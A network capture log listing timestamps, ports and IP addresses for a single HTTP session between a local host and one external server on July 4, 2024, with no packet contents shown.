Jul 4, 2024 20:34:04.883539915 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883554935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883569956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883572102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883586884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883599043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883613110 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883615971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883634090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883641958 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883651972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883665085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883671999 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883682013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883690119 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883714914 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883735895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883742094 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883750916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883764982 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883781910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883786917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883800030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883802891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883817911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883819103 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883832932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883841991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883852959 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883877039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883900881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883915901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883929968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.883954048 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.883972883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.884008884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.884023905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.884037971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.884057999 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.884076118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953121901 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953156948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953166962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953232050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953265905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953279018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953289032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953330040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953330994 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953341007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953351974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953366995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953392029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953418970 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953444958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953457117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953468084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953479052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953488111 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953500986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953511953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953524113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953526020 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953533888 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953547001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953551054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953569889 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953583956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953593969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953600883 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953604937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953617096 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953627110 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953632116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953649998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953680038 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953694105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953715086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953726053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953736067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953742027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953747988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953758955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.953771114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.953800917 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.975183010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.975193977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.975209951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.975219965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.975235939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.975246906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.975246906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.975259066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.975275040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.975301027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.975306988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.975317001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.975351095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.975389957 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.010097027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.015110016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192229033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192249060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192259073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192302942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192312956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192323923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192333937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192347050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.192384958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192394018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192403078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192507029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192507029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.192517042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192526102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192534924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192543030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192552090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192560911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192599058 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.192617893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192626953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192631006 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.192636967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192646027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192653894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192662001 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.192692995 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.192715883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192723036 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.192725897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192735910 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192744970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192754030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192759037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192769051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192769051 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.192820072 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.192853928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192863941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192873001 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192882061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192890882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192899942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192900896 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.192909956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192935944 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.192961931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.192982912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.192991972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193001032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193010092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193018913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193027973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193036079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193068027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193136930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193145990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193155050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193162918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193171978 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193181038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193185091 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193190098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193217993 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193244934 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193253994 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193254948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193264008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193295956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193319082 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193335056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193344116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193351030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193360090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193368912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193377018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193383932 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193386078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193432093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193434954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193445921 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193455935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193479061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193506956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193506956 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193516970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193526983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193538904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193552017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193588972 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193617105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193628073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193644047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193651915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193664074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193667889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193679094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193689108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193698883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193702936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193725109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193728924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193737030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193748951 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193787098 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193828106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193840027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193849087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193861008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193872929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193875074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193903923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193931103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193932056 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193942070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193950891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193959951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193969965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.193979025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.193979979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194020033 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.194077969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194088936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194097996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194113970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194123983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194124937 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.194135904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194145918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194154024 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.194155931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194166899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194176912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194186926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194189072 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.194197893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194219112 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.194252014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.194264889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194274902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194340944 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.194340944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194353104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194363117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194374084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194386005 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.194426060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.194443941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194458008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194463968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194468021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194473028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194534063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.194557905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194569111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194580078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194588900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194600105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194605112 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.194610119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.194629908 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.194670916 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.285964012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.285975933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.285985947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286031008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286043882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286048889 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286056042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286067963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286072969 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286079884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286092997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286102057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286127090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286147118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286175013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286185026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286194086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286211014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286221027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286247969 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286262035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286272049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286277056 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286290884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286303997 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286307096 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286319017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286329031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286329985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286362886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286390066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286444902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286457062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286467075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286503077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286504030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286546946 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286550045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286560059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286601067 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286669970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286679029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286689043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286720991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286737919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286747932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286748886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286748886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286756992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286767960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286798954 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286834955 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286849022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286858082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286869049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286892891 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286925077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286926985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286936998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286947012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286961079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286971092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286976099 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.286981106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.286992073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287018061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287028074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:05.287034988 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:05.287045002 CEST	80	49730	85.28.47.30	192.168.2.4
